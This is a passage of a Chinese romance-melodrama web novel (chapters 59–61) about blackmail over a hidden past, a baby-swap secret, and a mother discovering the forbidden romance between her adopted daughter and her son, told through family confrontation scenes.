59. 薄暮
李樊到尚云馆时,温志强已经点满一桌招牌菜,对于一家在江城排得上名号的黑珍珠餐厅,不用想都知道这桌菜是专门给他准备的。
盯着眼前吃饭动静很大的人,李樊冷声直接问:“为什么还没走?还有,我说过今后没什么重要的事不要联系我,你没当回事?”
温志强上手抓过餐盘里的鱼,几口吃完后,又捞起勺子快速解决了碗里的汤,最后哐当一声撂下餐具睐了周围一眼,吭声嗤笑道:“这味道也一般啊,评的什么垃圾榜单,净糊弄一群放不出屁的假大款。”又看向他,这次也懒得再装态度,直接了当地提明,“再加点钱我就走。”
餐具掷盘的声音很聒耳,再加上他嘈嚣的语气,旁边位置会餐的人拧起眉眸光有意无意地斜睇过来。
李樊靠着椅背没什么表情:“我已经帮过你一次,我们本来就没有谁欠谁这一说辞,你觉得你现在有什么资格和我谈条件?”
温志强又是一阵不在意的咂嘴舔唇,抽出牙签边剔边笑,笑意有几分刁猾:“我是没资格提要求,那我留下还是走就和你没关系了吧?你这么着急让我离开,又在怕什么?”身体慢慢靠前,索然语气下眼睛却紧紧盯觑,“你为姚家干事?”
简单一句话,李樊当即就明白他是什么目的,面色顿然沉了下来:“你跟踪我?”
“我哪敢啊大哥,只是我出狱后四处碰壁实在走投无路,你看你现在混的这么好,沾亲带故是不是也应该照应一下弟弟我?”
自从上次两人见面后,李樊平白无故给他卡让他离开,他就有种说不上来的不自在,毕竟在狱里这么多年,除了刚进去的那两年他去看过他,之后就断了所有关系,现在给他钱先不说,话音还很急,好像他的出狱对他来说,就是一块腹心之患。
直到他去查了怡翠苑别墅区的业主,没想到住在里面的人确实大有来头,不是当官的就是经商的,李樊现在跟的这个姚书文,就是上个世纪初江城三大望族之一的姚氏后代,她的曾祖父是当时沙船业的巨贾姚宗年,曾祖母是纺织业巨头陶方兴的女儿陶竹安,目前江城规模较大的几个能源产业就是姚氏后代在经营,就连位于南郊面积最大的那片私人花园也是姚氏留下的家宅。
而这种名门大家,最忌讳下面的人招致是非。
如果姚家知道他这个哥哥有个坐过牢杀过人的兄弟……
不知道还会不会留他?
李樊只是冷眼盯着他没说话,桌下的手却在无意识收紧,和温声的那次谈话被姚书文碰见后,她最近的出行就再也没有通知过他,这种漠然相待近乎无视的态度,以往在路家从没有过。
他心里不由得发慌。
好像,心底有块紧绷了很久的布马上要被扯开了。
上下又横了他一眼,看得出只想要钱,短促呼吸后开始发话:“你要多少?”
温志强丢开牙签,摇头叹然一笑,一副我就知道的无耻样子,抬手给他比划,张嘴就是索价:“我要生活,我之后还要讨老婆,万一有了孩子还要养他,怎么说也不能少于三百万吧。”
李樊知道他是什么德行的人,也不想退步:“我最多给你一百万,多一分没——”
“我女儿是叫温声吧?”
话头猝然一转。
他紧眼看他,不动声色地收了话音。
温志强又是咧嘴一笑:“我记得你以前来看我,说过这个名字,只是不知道她现在在哪里,但姚家……”他摸了摸下巴,接着一字一句吐出,“好像也有个姓温的女儿。”
拐弯抹角的口吻带着横加的逼挟。
你不想我主动挑开事端。
那就给钱封嘴。
李樊没想到这段时间他竟然在调查他,一晚上的故作镇定顿时破了口,拍桌质问他:“温志强你威胁我?!当年我做那些事是为了谁?又是谁跑前跑后给你申请减刑的?你现在出来了见不得我过得好就做这些投机倒把的事,做人要有良心!”
原本闲谧的餐厅,厉声哗然,周围有人频频回头看过来。
温志强不耐烦地咂吧了声嘴又大剌剌地站起身,鲜廉寡耻的模样看的李樊心寒了半截,“别说那么多废话啊大哥,我们现在是一条船上的人,我就给你三天时间准备,钱到手我立马滚蛋。”临走前,陡然抓起桌上的餐巾丢在他面前,“不然有什么后果,你可别怪弟弟啊。”
温声刚回到路家时,姚书文问过她愿不愿意改为路姓,她低下头无措地抠着手指想了很久,她很喜欢温这个姓氏,在福利院的那几年,在没回路家前无依无靠的那几年,在以为自己是孤儿的那几年,她听过来自太多人的恶言侮骂,有护工,也有同龄人,但只要有人喊自己的名字。
温声……
温声。
那些伤人的粗话好像瞬间就被全部过滤了。
她希望自己能和名字一样,谦辞温言,熙和良善。
路康和姚书文向来尊重孩子的意愿,她不想改那就不改,但是李樊有意无意劝过几次,既然孩子回到路家还是改回路姓好一些。
当时路泊汀踩着滑板刚要出门,听到他的话脚步一顿,又折回来在自己爸妈面前贫嘴哂笑道:“温比路好听多了好吗,干脆也给我改名叫温泊汀得了。”
就这样,温声一直没有改姓,反而是路泊汀,被自己的亲妈逗闷子地叫了半年温泊汀……
李樊握拳的手直发抖,脸上也泛着不正常的青,虽然早就猜到只要温声不改姓,温志强总有一天能找到她,但他没料到整个过程会这么快……
他甚至没有任何变局的余地。
不过,温志强只知道现在在姚家的温声是他的女儿,可他也忘了,姚家真正的女儿是他当初拐走的婴儿。
能用钱解决的问题,根本就不是问题,温志强本性贪而无信,不管对他还是对姚家,必定是个大祸患。
他这个弟弟,留不得了。
下课铃声刚响,温声就抱着脑袋“噗通”一声摔进了书里,实在太困了,昨天下雪的原因飞机晚点,到江城已经是后半夜,睡了不到四个小时就被路泊汀拖了起来送去学校。
她全身又酸又疼,赖在座椅里拽着他的胳膊晃来晃去,小声嘟囔:“我能请一天假吗?真的好累……”
周末两天睡了不到八个小时,谁懂啊?
睡了不到五个小时的路泊汀压根不惯着她,漫不经心地抽出胳膊戳开她的脸:“啧,玩归玩啊宝宝,成绩不能掉下来。”偏头见她一副呆头耷脑确实没睡醒的模样,捏了捏她的脸,低声打商量:“今天周一,你朋友说你们下午的数学课有期末考点总结,坚持上完我就来接你回家,好不好?”
嘁,还当她是以前那个数学不及格的小菜鸡?
温声嘴角都要翘起来了,又晃了晃两根手指好不得意:“我现在能考125呢。”
快夸夸我呀!
他下意识哼笑:“可你老公数学就没下过145啊。”
刚说完,余光就瞟到本来还在摇手指的小人立马耷下了胳膊,接着侧过半边身子直勾勾盯过来。
不用看都知道他要完了。
路泊汀歉然勾唇,得,怪他嘴欠。
比什么不好,非要和她比成绩。
从小就比得过,但……
吵不过。
他打着方向盘开始哄,时不时看她一眼:“125很厉害了宝宝,你看你后面的大题该拿的分都拿到了,就连最难的压轴题也拿了10分,一些数学基础好的人平均才拿8分,还有你的选择题只错了一道,我之前教你的板块总结法你用的就蛮好的,包括最后一道填空题,一般正确答案是两个值,你也有写两个答案的答题意识,这点就非常不错了宝宝……”
虽然那两个答案都是错的。
温声木着脸本来还在摆谱,但他哄人的态度还算有诚意,于是又弯起眼睛给了他一个算你小子识相的傲娇小表情:“你看我卷子啦?”
分析的这么详细,可不就是看过她的试卷了吗。
路泊汀看了一眼后视镜,转了个方向,又耸肩散漫轻笑,语气很是做作:“还算看了一点吧。”
哼。
温声还想翻白眼捣蛋一下,他又揉了揉她毛茸茸的脑袋,这次力度很轻,声音也很轻:“宝宝是很厉害很乖的小姑娘。”
话音带着经心的清润温柔,还有一丝很少见的细腻情愫。
简直哄得她一愣一愣的。
耳根漫过一股很着慌的热潮,脸颊也升起隐隐热气。
温声没忍住红了脸……
抬手蹭了蹭脸颊,她若无其事地转话题:“可你和妈妈今天下午不是要去参加希伯伯女儿的生日宴吗?”
哪里还有时间接她呀……
路泊汀挑眉:“你怎么知道?”
温声瞅了他一眼,语气有些酸唧唧:“每年不都是这个时间吗?”没忍住还是想刺他,“请你管好你自己,不要随意勾搭其他女孩子。”
不过……
能被随意勾搭走的人,她也不稀罕要。
路泊汀有些无奈地叹了声气,不太想搭理她,又从外套里摸出两颗软糖塞进她嘴里,堵住她的模棱试探:“今晚会准时来接你,还有,我是代爸的名义去参加生日宴,别多想了。”
路康不在国内,希家又算世交,该去还是要去的。
软糖一左一右顶起脸颊,海盐酸柠檬的甜涩丝丝溢出,睡意消退,温声鼓起嘴巴嚼嚼嚼,又勉为其难地点了点头,伸手指点单:“那你来接我前记得买我想吃的东西,我要吃果祥楼的豆乳盒子和汇品街的糯米冰激凌,还要吃学校附近新开的那家粤品记的烧排骨,还有……”
路泊汀也丢了颗糖,脸颊微微鼓动,方向盘上的指尖慢悠悠打着拍,开始记她叽哩咕噜很长一串的使唤。
说到最后,她还歪着脑袋卡起了壳:“还有那家……那家……那家的海盐舒芙蕾我也要!”
他蛮贴心地出声提示:“百丽屋。”
“对对对!你记得买喔!”温声揉了揉眼睛彻底清醒了,看了眼不远处的校门,伸手顺走他衣服里的软糖,凑近,又蹭了蹭他的唇角,软声道:“记得准时来接我,不然我不理你了。”
温热的气息轻飘飘地吹在他耳侧,她的声音还带着乖俏的困意。
一贯没什么威慑的要挟。
趁她下车前,路泊汀没忍住又捏了把她的脸,触感绵软滑嫩。
“好。”
怡翠苑
刘嫂犹豫片刻还是走了过来,轻声询问:“夫人,小路的电话来了,要接吗?”
希家女儿的生日宴已经开始了,以往他们母子二人都是单独出动,大多时间最先到的那个人是姚书文,但今天路泊汀到会所已经快一个小时,还是没看到自家妈的身影,给她打电话,关机,又往家里打,没人接,他只好给刘嫂拨了通电话。
可刘嫂不敢接。
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下午从收到指名的匿名包裹后,姚书文就卧在沙发里,神情放空地盯着那部不知道是谁寄来的手机,两个小时过去了,姿势都没换一下。
憔悴倦容,浑然没有以往的温淑娴雅。
“刘嫂。”
许久,目光移开那张两人接吻的锁屏壁纸,姚书文喘了声气,气息有些弱:“备一下车吧,我自己开。”
*……*
“喏,专门给你调的。”
眼前移过来一只高脚甜酒杯,睨了一眼颜色分明的液体,路泊汀心不在焉地移开视线,手里继续有一搭没一搭地转着手机。
姚书文临时有事不来了。
还是希家的管家告诉他的。
低眼扫过手机,没有任何回电。
希榕微挑涂着明艳眼影的眼梢,也不介意他的无视,弯腰挽起礼裙坐在他旁边,又抵着下巴目光肆无忌惮地望着他,直白的眼神带着明目张胆的细赏。
蓬茸黑发修剪地尤为清爽利落,每次见他,额前的短发都被他肆意撩开,立体的五官在明晃晃的顶灯下愈发昭然俊美,尤其他这会还微低头,光影顺着线条精致的侧脸,在直挺的鼻梁处留出一处小阴影,一张明明清冷矜贵的俊颜,又在敛却情绪时,无形中隐入几分散漫恣气。
只要他不想搭理你,你就没有任何理由,也找不出什么理由让他注意到你。
她又想到第一次见他,只记得当时和爸妈一起去看望路伯伯,入眼就先看到站在花园空地的少年,穿着黑色的无袖球服,脚踩足球鞋正在颠球,颠抬的动作虽随性散诞,但上下的浮落次次都稳准快,抬眼漫不经心看过来时,她只觉得心里有块位置猛地陷入空白,又在下一秒,被莫名塞得满满的。
长的太漂亮了……
是她从未见过的既冷艳又明媚的长相,唇红齿白的嫣然间透着少年特有的清朗,漆黑如墨的眼睛还没有现在的冷然深邃,在他勾起唇礼貌颔首时,她就意识到,他们之间已经竖起了高高的壁障。
无法横穿也没有机会窥入的壁障。
可她还是一眼望入心底。
喜欢了他整整五年。
不着痕迹地瞟过他脖子处的吻痕,希榕浅浅一笑:“你这对老朋友也太冷淡了吧,我刚从国外回来啊大哥,今天还是我生日。”
路泊汀提唇轻笑,拿起自己的酒杯很给面子地对碰她调的那杯酒,浅酌一口,“还有多久结束?”
听听这是人说的话吗?
还没正式开始呢。
希榕伸手捧着自己调的酒,一口气喝了半杯,明艳的脸颊泛起淡淡的粉晕,眸光略微迷离地看向他,揶揄一笑:“干嘛这么着急走,有女朋友了?”
他转着手机没搭腔。
空气一时陷入凝寂。
他们的关系,还没有到可以聊这些话题的程度。
希榕突然有些尴尬,好在不远处的交响曲悠悠传来。
路泊汀指尖弹向玻璃杯,清脆的哐当声横在两人之间,他又看了一眼时间,挑眉示意:“要去接我老婆。”
口吻似游闲荡子的轻淡,她不得不再次轻声试探:“你们谈多久了?”
手机突然进来一条消息,是平时定点打扫卫生的阿姨。
手指随意滑动,发送了临时的门锁密码,知道她是什么意思,他又扯唇谑然一笑,酒窝隐现:“是我花心思追了很久才追到手的老婆,是要结婚的老婆,是上辈子这辈子下辈子已经定好的唯一的老婆。”
视线终于调转到她身上,也不想拐弯抹角,“我很爱她,我的心思只会花在她身上,那些玩玩的手段我用不上也不会用。不要在我身上浪费时间了。”
希榕一怔,耳根迅速漫上红热,其实她大可以为自己找补:
——你在自作多情什么啊?谁又在你身上花时间了呢?
但在看到他一副无所谓的淡然神情后,这句话就怎么都说不出口了。
他是真的,不在意别人的看法。
心知肚明这四个字,界限本来就微妙模糊,但他就是要挑明这层模棱暧昧。
哪怕被扣上狂妄自恋的帽子。
——不喜欢我?那最好不过。
静了静,希榕又叹然一笑,“我认识她吗?说不定以后还会和她成为朋友呢。”
手机拍在掌心,路泊汀很无聊地扫了一眼周围,准备开溜,又瞥过她,淡声道:“温声。”
“啊?”
“啊?!”
希榕睁大眼睛下意识重复了一遍,又快速捂住嘴巴。
她没听错吧?
温声……
是他亲妹妹吧?!
“你……你们……”
面前本来还在索然转手机的人,长指倏尔一滞。
像是想起什么似的,路泊汀突然拧起浓眉,垂眼直直盯紧刚才回的那条信息。
家里的定期打扫,时间在周二周四周末两天。
不是今天。
眸光有一瞬的慌乱,指尖在屏幕上飞快划动。
果不其然,家里和楼道的监控被全部切断黑屏了。
“生日快乐,替我和希伯伯说一声有急事先走了。”
“哎——”
等她的生日蜡烛吹了再走啊……
瞅了一眼吧台上面的软糖铁盒,希榕拿在手里轻轻摩挲,又望着他跑出去时有些着慌仓促的背影。
“留个纪念品总行吧。”
60. 瞑夜
“阿声,醒醒,要下楼了。”
温声被江乐橙推醒,大课间二十分钟她感觉像睡了好几个小时,晃了晃睡懵的脑袋,脸颊还有一道浅浅的淡色压痕,伸了把懒腰才慢慢清醒过来,艰难地睁开一只眼睛开口问:“下一节什么课?”
“体育啊我的姐姐,周末两天你怎么过得像逃荒一样?”
唔……
可不就是逃荒吗……
江乐橙又往她桌上放了盒酸奶,“班主任刚才进来说晚自习安排摸底考试,重点考上周讲过的那张导数卷子,打乱重新考。”
那张卷子她凑巧考的很一般。
低头在书包里翻来翻去找了半天,结果没找到。
又看了一眼时间,路泊汀那边的宴会应该还没结束,伸手指碰了碰前面的人,小声哼唧道:“我要回一趟家拿卷子,你帮我和老师请一节课假。”
江乐橙边喝酸奶边点头:“需要我陪你吗?”
温声取出钱包和手机,又从校服口袋里摸出软糖放在她手心,鼓起嘴角浅浅一笑:“不用啦,我快去快回。”
一起下楼时,她们刚好看到从拐角走上楼的赵月清,温声不动声色地横在台阶中央,步子停了下来,江乐橙也很有默契地堵在原地。
别管,好姐妹停下一定有她的道理。
照做就行。
赵月清本来低着头在看路,走得很慢,眼前忽然一暗,下意识抬头看过去。
两人挡在楼梯口,温声先是低眼看着她,又弯唇浅笑:“那晚在音游店的人,是你么?”
赵月清掠过她,抱着书的手指微微抠紧,也回她微笑,嘴角的梨涡甜巧温婉:“是我。”
“你当时做了什么?”
“没听懂你什么意思。”
温声忽然哼笑出声,抬腿下了一节台阶,离她更近了,澄然明眸凝向她,目光直睨时多了丝冷厉:“那你举着手机在拍什么?”
江乐橙突地瞪大眼睛。
靠!偷拍啊!
赵月清还是一副没听懂你在说什么的恬淡模样:“和朋友一起互拍而已。”错开脚步想上楼梯,奈何江乐橙挡在另一侧,只好继续开口,“没什么事我就先上楼了,马上上课了。”
上课铃声正好响起。
江乐橙见温声没什么表情,不太情愿地偏过一侧身体给她让道。
“赵月清。”
她的脚步一顿,片刻转身。
温声俯身捡起掉落台阶的笔,扔进她抱着书的怀里,眉梢挑起瞅着她,视线犀然坦直:“你拍到什么不重要,因为事实如此,但别做自降身份的事。”转头和江乐橙对视一眼,接着笑,“我们学校能保送的人,综合素质应该都不差。”
抠紧书的手指微微生僵。
“既然已经在高处开了花,就不要被不属于你的人和事向下拖根。”
直到楼梯口没有了她们的身影,赵月清才撑着扶手吐了声气,鼻子隐隐泛起酸。
其实她在寄出手机的那一刻就后悔了,但心里一直有股不明不白的怨气,横在胸口不上不下,他们做了三年的同学,至今她都没有他的联系方式,他对所有人都是一副谦然疏离的模样,不过多交游,也不会自是夸矜,这样一个本该游离在班级边缘的人,周围却有很多同学甘愿以他为一个中心圈,好像,路草说什么和做什么都是对的。
那晚在音游店,她见到了另一个世界的他,放恣散漫的、痞然风趣的,野性不羁下又隐有细腻的浪漫温柔。
他的喜怒哀乐,全部给了面前的那个小姑娘。
他的妹妹。
暗恋,真的只是她一个人的月夕花朝。
送温声到校门口,江乐橙呶起嘴巴还是问出口:“阿声,她拍到什么了啊?”
她拿出手机正在叫车,闻言看向校门旁的公交站,上周五他们站的那处位置,积雪已经快化了,明明才过去了两三天,但心里的漫长时间仿佛已经过了一整个冬天。
温声垂眼又看到被雪水浸湿的鞋尖,她突然想起,今天凌晨四点多她醒来过一次,迷糊中看到他坐在地毯上,手里正清理着她穿过的那双登山鞋的泥垢,动作轻缓,她没有听见一丝声响。
从小那些被她刻意封存的记忆,倏地全部冒了出来。
原来,她被他用心照顾了这么多年。
声音有些细微发颤,好在江乐橙没注意到。
“不重要。”
拍到什么不重要。
被谁看到,更不重要。
回到宁湾时,温声直奔主题去了书房,从书桌找到沙发,又从沙发折返到书桌,结果还是没找到卷子,她蹙起小眉头摸出手机准备问路泊汀,眼睛却无意瞟到掖在沙发坐垫下面的银色小物件。
钥匙。
抽屉钥匙。
手心开始不受控地出汗发麻……
她一直很好奇那个抽屉,在书桌最不起眼的一处位置,那份推迟很久才拿到的鉴定报告之前就被他放在里面,每次回宁湾时,她都会走过去有意无意地瞄一眼。
在整个房子里,只有它是上锁的。
但她从没有主动问过他,里面到底放了什么。
好像……
潜意识里就知道一定和她有关。
握紧钥匙,温声一步一步踱到桌前,又慢慢绕回座椅旁,冬日里煦暖的日光斜斜照进落地窗,又透过薄薄的窗帘,为原本凝寂的房间悄然铺上一层朦胧的闷抑,整个房间太空,太静,以至于她的呼吸也跟着发紧,盯着桌子最下面的方形抽屉,钥匙的银锐尖头无意识戳进手心。
开。
不开。
开……
不开……
深吸一口气,蹲下,钥匙开始绕着一个方向转动,一圈,又一圈……
直到啪嗒一声。
她又喘了声气,其实这个时候还可以再锁上,还可以再把钥匙悄无声息地放回原地,还可以若无其事地再给他拨通电话,然后撒娇作怪地问他卷子找不到了,这下可以不用学习了吧。
——一切都还来得及。
脑子里冷不防闪过的念头。
但手却由不得自己一样,拉开了它。
垂眼先看到的是压在档案袋上面的黑色相机,很旧的款式,也很眼熟,开机时经典的滴答声瞬间带她回到了小时候,姚女士因为工作的原因,手边经常备着一台相机,只不过拍摄的内容从最初的工作相关,逐渐变成了对两个孩子的日常记录。
她窝进沙发在看格林童话书,他坐到地毯上在摆弄游戏机。
她扶着栏杆心怯无措地挪移在雪场边,他摘下雪帽快意淋漓地滑游在冰面上。
她皱起小眉头嘴边杵着铅笔在算数学题,他早就写完作业神情寡趣地翻着课外书。
她背着古筝笑眼慧黠地朝妈妈摇手拜拜,他勾起小提琴一脸不耐地催她快点上车。
她手举果汁弯眼朝镜头大声喊新年快乐,他嘴咬可乐吸管似笑非笑地偏到镜头外。
……
她穿着蓝色碎花布裙下楼的背影,她背着书包提步上车的背影,她靠向阳台围栏打电话的背影,她在舞房对镜练舞的背影,她在厨房偷喝红酒的背影,她在烛光前生日许愿的背影,她在操场上体育课的背影、她骑单车左右张望的背影……
镜头里渐渐只出现了她。
最后一张,也是昨天清晨前拍的。
她背着厚重的登山包踩在雪坡上,手里的登山杖被她握得很紧,在霜白峭凛中她爬的很慢,也很认真。
仰视角度,她被拍的像他的一片天,柔韧并存,温毅而生。
他还在她的背影后、镜头前,竖起了大拇指。
——宝宝真的很棒。
她突然就想到,他的十四岁生日,姚女士问他想要什么礼物,他指了指那个早就过时的相机。
不需要送给他。
他花原价买回了它。
从此,它就这样静静躺在窄隙里,漫漫记录着他藏无可藏的孑然动情。
悄声而又轰然。
胸口猛地划过尖刺,又在鼻尖处泞成细涩酸痛,眼前早就湿濛一片,水渍点点滴到了屏幕上,她又用手心很轻很快地抹净。
路泊汀……
你……
你喜欢我喜欢了多久呢?
凝了眼照片,又吸了吸鼻子,举起相机对准映入暖融的窗户,她也在镜头前竖起了拇指,指尖在阳光下微微发光。
咔嚓,定格。
它被拿出来见了光。
胡乱擦了把眼泪,将相机放在桌子上,视线又移到压在最下面的那个鼓起的牛皮纸档案袋,黑色的绕线紧紧圈匝在纸扣上,封面没有任何的文字标注。
温声咬唇看了它一瞬,伸手取出,绕线缠得实在太紧,她用手指抠了好一会才拨出线头,大脑刻意放空几秒,拆开了它。
在一叠文件里,目光最先触到的是第一页的红字件头——刑事处罚人员档案。
下面紧跟着温志强三个字。
温……
心头突突一跳,眉梢带动太阳穴也无意识颤了一下,她快指抽出那张纸,跳入眼里的是右上角的黑白人像照片。
盯着他的照片,脑海中自动搭接那些瞬刻的画面,大排档、工地马甲、醉气醺醺的男人,方圆脸五官很普通,但他朝她走来时,她注意到他的眼睛是偏绿的琥珀色。
生活里很少见到的瞳孔颜色。
和她一样。
呼吸猝尔快了起来。
手有些抖,越来越抖,但她还是强迫自己去捋直那张纸,眼睛没有任何聚光地快速扫过,又像突然不识字一样,从头到尾,一字接一字、一行又一行地开始拆字眼。
□□罪?□□了谁?
故意杀人罪……
又杀死了谁……
温志强……温声……温志强……
温声……
眼梢扫视的动作倏尔变得迟钝起来,但脑子又在疾速打转。
——我还没问你为什么骗我呢?
——这不重要啊宝宝。
看着,想着……
她的背莫名就塌了下去。
视线又落到被红笔圈出的拐卖儿童罪那几个字上,她不想乱猜的,但呼吸越来越沉,陷进胸口,她连吐气都觉得困难,眼泪紧接着又冒了出来,汩汩失控地掉在那些纸上。
这次她没有力气去擦净。
那些从窗户投进来聚在她身上的暖光,随着她的久站,慢慢偏移,她被钉在半明半暗的光雾里,就像那些原本在梦里明晰轻翩的映像,伴着梦醒时分,变沉变暗变淡。
直到化为臆影。
她的梦真的醒了。
她想抓都抓不住。
僵着手又飞快向后翻,哗啦哗啦,幅动很大,丝毫不顾那些文件会不会被扯破,甚至还有两张叠在其中的信纸被甩了出去。
上河福利院领养档案的造假资料。
李樊和温志强亲缘关系的调查信息。
黎雨在旧金山的入学办理手续。
黎雨。
“酱酱……”
她盯着那个名字,恍惚中已经有十年没有听过了。
本以为不再有任何交集的人,忽然又无故出现。
福利院几乎所有的小孩都知道,那个总爱穿红色连衣裙的小女孩被美国有钱的父母领走了。
——“她是最幸运的孤儿。”
两条腿像被拖进无形的沼泽,上身撑不起一丝力气地倒在桌边,她不是傻子,从他突然要去美国,从福利院碰到何让生和庵加河,从李樊的直认不讳。
甚至,那天在大排档,何让生动完手后瞥向她若有所思的眼神。
所有的所有,全都指向——□□犯温志强是她的生父,杀人犯温志强是她温声的父亲,那个在饭馆门口随意性骚扰女生的男人,就是她生物学上带有血缘关系的亲生父亲。
而黎雨,就是他的亲妹妹、路家真正的女儿。
他们都知道。
他们早就知道了。
后脑勺突然生疼,眼角也抽个不停,耳边回荡着嗡嗡的杂音,温声疲软地蹲下身,指甲抠进头皮,一点点地朝里碾,但还是无法缓解那股横生的慌然痛觉,胸口顶起绞心的痛,她又弓着背大口喘气,喉口冒起酸水,手指死掐虎口强忍住生理性反胃。
在房门被陡然推开前,她低眼看到了那张信纸上手写的一句话——
温志强拐走的路家女儿和阿声一起被送来了上河。
拐走的路家女儿……
拐卖儿童罪。
“你怎么没去学校
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?”
全身的热流一瞬冲上头皮,又凉了个透,她僵着身抬头,一张脸全没了血色,姚书文站在书房外,身上的大衣带着外面的冷气,以往脖子处得体优雅的丝巾松松垂塌在衣领的一侧,头发和她一样蓬乱,脸上戴着墨镜看不出什么表情。
可她还是一眼就知道她哭过。
抖着手本能地拾起地上那两张纸,又趁她走过来前,快手将档案袋塞进了抽屉。
哐当——
重新锁上。
“里面放了什么?”
温声滞着一双泪眼死命摇头,浑身也开始抖了起来。
“妈妈……”
姚书文伸手:“钥匙给我。”
钥匙的尖头顶在手心,指腹朝里压,刺痛传来时,她侧过身藏在身后,继续摇头,不敢看她,也不敢让她靠过来。
“温声。”
心骤痛,这是姚书文第一次喊她的全名。
“妈妈一直没过问你,”她的语速很慢,语气依然轻柔,但嗓音喑哑讷然,“那晚你说你在酒店大堂,你说哥哥的女朋友去找他……那个人是你吗?”
话音带着少见的疲怠艰涩。
“妈妈……”
求你了,求你别问……
“什么时候开始的?谁先开始的?”姚书文个子高,低腰靠近她,盯紧她,墨镜下一双眼发红恸碎。
原来她对她也会生气。
温声咬紧唇肉,她每问一个字,痛觉就加深一层,眼眶又酸又疼,但还是不敢看她,低下头只能嗫嚅地喊她:“妈妈……”
“国庆?”
“暑假?”
“还是更早?”
姚书文偏头看到她脖子的红痕,鼻息发颤:“国庆在宁湾的那个女生,是你吗?”
一片濛濛湿气里,温声看到了她举着的手机,一高一低的侧影,她面色娇嗔地搂紧他的脖子拉近自己,他挑眉一脸坏笑地支起下巴就是不低头。
但她还是蹭到了他的嘴唇。
身后是设计奇彩的跳舞机。
——拍到什么不重要,被谁看到更不重要。
眼前又跳过相机里的最后一张照片。
她是他的天。
半晌。
“是我。”
温声嘴角弯了起来,抬头看她,软茸湿塌的眼睫泞成结,又垂下眼笑了一声:“都是我。”
“是我先喜欢哥的,很早就喜欢了。”
“是我主动招引他的。”
“是我先挑开关系的。”
“是我。”
她敛着的眼睛湿涟涟,点头时眉尖细颤,咽声渐缓,字字旦旦。
“所有的一切,都是我先开始的,和他没关系。”
心里忽而一轻,呼吸也畅快了起来,好像压了很久的石头,终于碎开。
终于落了下去。
哪怕由此,她被拖入绝渊。
声音像被抽空,整个房间又沉又静,只有提包里的手机一直在嗡嗡振动。
姚书文失神地凝着她,眼角滚下清泪,无声又破碎:“你不是我的女儿吗?”伸手转过她的肩膀,指腹擦她的眼泪,摇头喃声重复,“不是妈妈的女儿吗?”
“是不是怪妈妈没有照顾好你……是不是因为我和爸爸陪你的时间太少了……”她的腰弯的更低了,从镜隙流下的眼泪滴到两人的衣服上,嘴唇直颤,“乖宝,你是妈妈的女儿吧?说话……”抬手摸她的脸,又哽咽地问,“说话啊……”
如果……
如果她愤怒,如果她斥骂,如果她痛哭,如果她绝望、如果她崩溃,如果她足够歇斯底里……
而不是现在这样,脆弱、不安、黯然、衰疲、无力,像把所有的撕心裂肺拧成刺头转了个方向扎向自己。
可能她的痛疚会少一点。
她宁愿怪自己,哪怕知道面前这个用心养了十二年的孩子,不是她的亲生女儿。
温声抵紧手里的钥匙,没摇头也没点头,她一直低着头,从此只能低下头,然后,就看到了姚书文穿的那双黑色的刺绣缎面尖头靴,鞋面用高定真金线勾出了几朵向日葵,很小的绣纹,但针法极细致讲究。
她的每一双定制的鞋子都有向日葵的绣花。
因为女儿喜欢向日葵。
好疼……
被她摸过的脸好疼,胸口好疼,鼻尖好疼,耳朵好疼,好像坠进深渊时,□□从岩壁狠然刮碾过。
哪哪都疼。
然而,就算她如此遍体鳞伤和血肉模糊,也无法填平站在面前的人心里的怆洞。
衣服里的手机突然响了起来,是江乐橙打来的。
“妈妈……”
“妈妈,对不起……”
手里的钥匙放在她的手心,目光移到她衣领处垂下的丝巾,想和以往一样替她重新整理,但手抬不起来,头更抬不起来,塌下去的背只能让她视线隐避地看向别处,“我今晚放学会回翠苑,到时候…到时候怎么处理……我都听您的,先别告诉哥行吗……”她后退一步,笑的很牵强,“……现在我先回学校,晚上还有考试。”
对不起……
对不起妈妈。
怎么跑出房间的她都忘了,楼道的冷风吹淡了一身酸涩,靠在电梯旁,墙壁上的纹路越来越模糊,也越来越扭曲,就像她这一路、这么多年一样。
不真实。
楼道被切断了电源,只有楼梯上行的红色数字不断晃过。
29.
30.
31.
温声盯着数字,擦了擦眼泪,慢慢站直身子。
33.
34.
35.
她什么都来不及想,脚下无意识一转,躲到了旁边的盲区。
滴。
下一秒,眼前就飞快横过一道修长身影,紧接着,她就听见,房间里传来的轰然钝响声。
咚——
“妈……妈……”
“妈,我的错,都是我的错,是我……”
“求你……求你别告诉她……”
她支在墙上的背慢慢下滑,两个膝盖也跌到了地上,眼泪又涌了出来,但现在,楼道内所有的黑雾和冷气全都褪开,为她主动空出一片暖穹。
他也是她的天。
61. 夜阑
姚书文凝眸划过相机里的照片,一张接一张,直到动作倏地停了下来,微暗光线下两只手十指相扣,紧紧贴合,虚光背景下依稀能看到白皙裸露的肩颈。
还有上面,隐晦暧昧的点点红痕。
时间是十月一号的凌晨。
她靠在桌前缓了声气,没忍住抬手又给了跪在面前的人一耳光。
啪——
响声清晰又压抑。
“你知道她还没成年吗?”
路泊汀偏过头,额前碎发凌乱,他从进来就跪在她面前,背依然直挺,嗓音带着发烧的低喑:“知道。”
啪——
握紧发抖的手,姚书文轻声问:“那你知道,她是你妹妹吗?”
他姿势没变,点头:“知道。”
啪——
又是一记闷响,她的手泛着痛麻:“什么时候开始的,是你强迫她的吗?”
“是。”
回应毫无停顿。
她手里的相机也砸向他,尖锐的棱角蹭开他的衬衣衣领,在颈侧刮出一道分明的血痕,叠着之前还没好的青迹,那处细薄净白的皮肤看上去格外脆弱瘆怖。
但他吭都没吭一声,端然跪着,背愈发板直。
摆明了要把一切揽在自己身上。
她说什么,就是什么。
姚书文见他敛着情绪依声承应,全然没有以往争嘴疏狂的模样,不由冷笑:“你以为把一切都揽在自己身上我就能答应了?我告诉你,她只能是我女儿。”手心向上,厉声道,“在我还没查清楚前,现在钥匙给我。”
路泊汀眼睛低垂,侧脸一片红,手指轻轻拨弄刚才夺来的钥匙,突然出声叫她:“妈。”
盯着他红了的眼圈,姚书文呼吸忽而一沉。
“妈。”
他又叫了她一声,一直偏着头没看她,开始说话,说那些没有和任何人说起的、同样压在心里的巨石,语气微漠,好像这样,就能冲淡这十年的沉晦:“我很早就喜欢她了,从她出现在家里的那一天,从她哭着脸冒失闯进我房间,从我不愿意和她太过亲近,从我回头总是先找她的背影,在我还不知道她不是亲妹妹的时候,我就想照顾她一辈子……”
“我注意到了她,所以……我喜欢上了她。”
